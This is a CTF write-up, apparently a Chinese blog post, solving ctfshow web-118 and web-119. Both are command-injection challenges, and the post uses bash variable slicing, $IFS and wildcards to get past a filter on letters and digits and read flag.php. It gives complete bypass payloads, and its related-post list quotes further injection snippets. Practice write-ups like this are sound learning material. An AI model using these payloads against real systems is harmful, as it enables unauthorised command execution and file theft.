ctfshow-web-118

看下源码，是传入参数code，然后system执行，但是过滤了小写字母、数字等.

看提示

给了系统环境变量路径，而且知道flag在flag.php里，那我们可以构造命令来打开flag.

${var:position} 含义：从左到右，截取从position开始到最后的字符串（索引下标从0开始)
记忆：
去掉前面的position个字符。
${var:position:length} 含义：在变量var中，从positon开始，匹配长度为length的字符串

${var:~length}
含义：取字符串最右侧（length+1）个字符

Shell中${}引用变量的高级用法__Monica_的博客-CSDN博客

可以构造一个短的nl命令来执行

给的环境变量路径最后一个字母是n，可以用${PATH:~0}构造，

但是数字过滤了，那可以用A代替，A是字符串转换为数字为0，

${PATH:~A}

${PWD}是当前目录，/var/www/html，可以用这个构造l

${PWD:~A}

完整payload:

${PATH:~A}${PWD:~A}$IFS????.???

ctfshow-web-119

这题相对于上题多过滤了PATH ，所以要重新构造，可以构造/bin/cat

${PWD} ：/var/www/html
${USER} ：www-data

/：${PWD::${#SHLVL}}
t：${USER:~${#SHLVL}:${#SHLVL}}

payload:${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${USER:~${#SHLVL}:${#SHLVL}}$IFS????.???

再查看源码.

CTFshow-命令执行（4）相关推荐

CTFshow——命令执行
CTFshow--命令执行 Web29 <?php error_reporting(0); if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_matc ...
CTFshow 命令执行 web72
目录源码思路题解总结源码 <?php/* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 ...
[CTFSHOW]命令执行
文章目录 web 29 web 30 web 31 web32 web33-36 web37 web38 web40 web41 web42 web43 web44 web45 web46 web47 ...
CTFshow命令执行29-123
命令执行 WEB29 eval是php中执行以PHP脚本执行的命令 PHP命令可以执行脚本命令本题使用方法是先 system(cp f*.php 1.txt) 然后访问1.txt WEB30 在PH ...
ctfshow命令执行篇
web31 echo(`ls%09/`); echo(`tac%09fla*`); web32 过滤; 关键命令执行函数也不能用用文件包含其实这个做法也是靠刷题经验猜flag路径 c=includ ...
[CTFSHOW]命令执行55-74
web 55 if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\< ...
ctfshow命令执行（持续更新，已更至web39）
做命令执行题比前两种慢很多,到现在也只做了总数的五分之一,慢慢来吧. web29 web30 web31 web32 web33~36 web37 web38 web39 web29 题目如下: er ...
ctfshow 命令执行 web29-web77 web118-122 web124 wp
南神博客文章目录命令执行 web29 web30 web31 web32 web33 web34 web35 web36 web37 web38 web39 web40 web41 web42 w ...
CTFshow 命令执行 web56
目录源码思路题解总结源码 <?php/* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 ...
ctfshow命令执行
目录 web33:[文件包含] web34: web35: web36:多过滤了0-9的数字,用参数逃逸可以不用数字,用字母就可以成功绕过 ,步骤一样,略 web37: web38: web39: w ...

CTFshow-命令执行（4）

ctfshow-web-118

ctfshow-web-119

CTFshow-命令执行（4）相关推荐

最新文章

热门文章